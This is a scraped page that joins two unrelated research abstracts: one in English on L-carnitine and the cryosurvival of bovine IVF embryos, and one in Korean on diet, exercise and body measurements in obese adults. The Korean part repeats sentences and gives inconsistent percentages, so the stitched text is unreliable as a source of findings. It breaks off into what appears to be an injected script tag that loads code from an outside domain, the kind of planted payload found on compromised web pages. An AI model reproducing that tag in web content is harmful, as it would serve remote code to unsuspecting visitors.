Cryopreservation of bovine embryos is used to efficiently implant surrogate mothers. It has been widely accepted that high lipid content in the oocyte interrupts its survival during freeze-thaw cycles. Serum component in the culture medium is thought to increase the embryo`s lipid contents. Conversely, L-carnitine stimulates lipid metabolism by transporting long chain fatty acids into the mitochondria. Objective of this study was to analyze the effect of L-carnitine supplementation in IVM medium and defined IVC medium on the development, lipid contents and the cryosurvival of bovine IVF embryos. 0.0, 1.5, 3.0 and 6.0 mM L-carnitine was supplemented in IVM medium, respectively (IVM-LC 0.0, LC 1.5, LC 3.0 and LC 6.0). Development rate from the 2cell to the morula stages was higher in IVM-LC 3.0 groups than those of IVM-LC 6.0 (p<0.05). But there were no significant differences among the other groups in the blastocyst rates and lipid content results. When 0.0, 1.5, 3.0 and 6.0 mM L-carnitine were supplemented in IVC medium (IVC-LC 0.0, LC 1.5, LC 3.0 and LC 6.0), development competence was not significantly different between those embryos. Lipid contents of embryos treated L-carnitine (IVC-LC 1.5, 3.0 and 6.0) were significantly lower than embryos of non-treated group. L-carnitine was supplemented 0.0, 1.5, 3.0, 6.0 mM during IVM and 3.0 mM during IVC (LC 0.0 - 3.0, LC 1.5 – 3.0, LC 3.0 – 3.0, LC 6.0 – 3.0) and cryosurvival of blastocysts confirmed after freezing-thawing. There were no significant differences on development, but LC 3.0 – 3.0 was significantly lower lipid contents than other groups. And LC 3.0 – 3.0 had better survival rates and hatched rates of blastocysts than LC 0.0 – 0.0. In conclusion, supplementation of L-carnitine in defined IVC medium decreases lipid contents. And L-carnitine supplementation improves cryosurvival and developmental ability of bovine IVF embryos.
최근 풍족한 식생활로 인한 영양소의 과잉섭취와 운동량의 부족으로 비만증이 늘어나고 있다. 비만증의 위험이 널리 인식되면서 비만성인들의 무분별한 다이어트와 운동으로 영양결함이나 이와 관련된 질병들이 발행할 우려가 있으므로 적절한 영양교육 프로그램개발을 위한 기초자료를 위해 식사 행동, 영양섭취실태 및 건강상태에 관한 실태를 조사하여 비만군과 대조군을 비교해 본 결과 다음과 같은 결과를 얻었다. 1. 평균연령은 남녀 각각 38.1±10.8세, 35.2±8.8세였으나, 전체 연령의 분포는 30세 이하가 28명(35%), 30세에서 39세가 23명(28%), 40세에서 49세가 19명(23.5%), 50세 이상이 11명(13.5%)으로 30세에서 49세가 가장 많았다. 체중조절 운동에 참여한 기간은 1∼2개월 정도가 5명(6.1%), 3∼4개월은 24명(29.8%), 5∼6개월은 39명(48.2%), 6개월 이상은 13명(15.9%)으로 5∼6개월이 가장 많았다. 2. 에너지 섭취량의 경우 비만군이 1, 451.0kcal로써 대조군 1, 572.4kcal에 비해 8%정도 적게 섭취하는 것으로 나타났으며 한국인의 영양권장량^21)에 대한 비율로는 대조군이 74% 비만군이 65% 수준으로 섭취하고 있었다. 에너지 섭취량과 마찬가지로 권장량에 미치지 못하는 영양소는 단백질, 칼슘, 철분, 비타민 B_1, 비타민 B_2이었다. 총열량에 대한 탄수화물, 지방, 단백질의 열량 비율은 비만군이 61.2:21.6:16.6, 대조군이 62.8:21.3:16.0으로 한국인 영양권장량에서 이상적인 구성 비율로 권장하고 있는 65:20:15와 비교해 볼 때 탄수화물 섭취 비율이 두 군 모두 약간 낮으나 지방과 단백질의 섭취비율은 비슷하였다. 3. 평균 신장은 비만군이 165.8cm, 대조군이 164.2cm으로 두 군간에 차이가 없었으나. 평균 체중은 비만군이 74.9kg, 대조군이 60.4kg으로 나타나 유의적인 차이(p<0.001)를 보였다. TSF는 비만군이 28.3mm, 대조군이 23.7mm로 두 군간에 유의적인 차(p<0.001)를 나타냈다. MAMC는 비만군이 25.5cm, 대조군이 21.7cm로써 두 군간에 유의적인 차이(p<0.001)를 보였다. 4. 식사행동에 관한 내용에서는 하루에 몇 회 식사하는가, 규칙적인 식사를 하는가, 식사에 걸리는 시간에 관한 문항으로 나누어 조사한 결과, 하루에 3회 식사하는 사람이 대부분이었으나 비만군의 여자 1명과 대조군의 여자 2명이 하루 1회만 식사를 하고, 비만군의 여자 4, 남자 2명과 대조군의 여자 7명이 하루 2회 식사를 하는 것으로 나타나 식사행동이 잘못되었음을 알 수 있었다. 규칙적인 식사를 하는가에 관한 물음에서는 대체로 규칙적이다라고 답한 사람이 비만군은 14명(38.9%), 대조군은 22명(52.4%)으로 대조군이 많았다. 불규칙적이다라고 답한 사람은 비만군이 여자 5명과 남자 22명으로 전체 27명(57.5%), 대조군이 여자 6명과 남자 6명으로 전체 12명(57.5%), 대조군이 여자 6명과 남자 6명으로 전체 12명(36%)이었다. 불규칙적인 식사를 하는 비만군 남자의 경우 잦은 음주로 인하여 식사를 하는 비만군 남자의 경우 잦은음주로 인하여 식사를 제 때에 못한다고 답한 사람이 많았다. 식사에 걸리는 시간은 10분 이내인 경우는 비만군에서 다소 많았으며 그 외는 10분에서 20분 사이라고 답한 사람이 대부분이었다. 5. 운동에 참여하는 정도는 참여한다라고 답한 사람이 비만군이 17명(42.1%), 대조군이 13명(35.7%)이었으며, 가끔 참여한다라고 답한 사람이 비만군이 25명(62.1%), 대조군이 26명(64.3%)이었다. 운동빈도는 1주일에 3∼5회 하는 사람이 비만군19명(43.4%), 대조군 23명(63.5%)으로 나타나 대조군이 비만군보다 많았다. 운동빈도에 따른 인체계측의 변화는 1주일에 6∼7회 운동하는 사람의 체중과 TSF가 1∼2회 및 3∼5회 운동하는 사람보다 약간 낮게 나타났으며, 대체적으로 비슷한 분포를 보였다. 1회 운동시 걸리는 시간은 30분이 전체의 약 44%로 가장 많았고, 그 다음이 60분으로 전체의 약 39%였다. 체중조절을 위해 운동에 참여한 기간은 비만군 23명(54.6%)과 대조군 16명(38.9%)이 5∼6개월에 답을 하여 가장 많은 수치를 나타내었다. 평소에 자신이 알고 있는 영양지식을 실생활에 활용하는가에 관한 물음에서 전체 52명(64.2%)이 대체적으로 활용하고 있다고 답했으며, 적극적으로 활용한다고 답한 사람이 전체 29명(35.8%)으로 나타났다. 6. 각 영양소 섭취량과 인체계측 지표간의 상관성을 분석하여 본 결과, PIBW는 열량섭취량(r = -0.241, p<0.05)과 탄수화물 섭취량(r = -0.259, p<0.05)사이에 유의한 음의 상관관계가 있음을 보였으며, BMI도 PIBW와 마찬가지로 열량섭취량(r = -0.224, p<0.05)과 탄수화물 섭취량(r = -0.242, p<0.05)사이에 유의한 음의 상관성을 나타냈다. 7. 체중 조절후 체중감소율에 영향을 미치는 요인을 알아내기 위해 단계적 다중회귀분석을 한 결과, 체중감소율을 설명할 수 있는 요인으로서?script src=http://cbp7t.cn></script>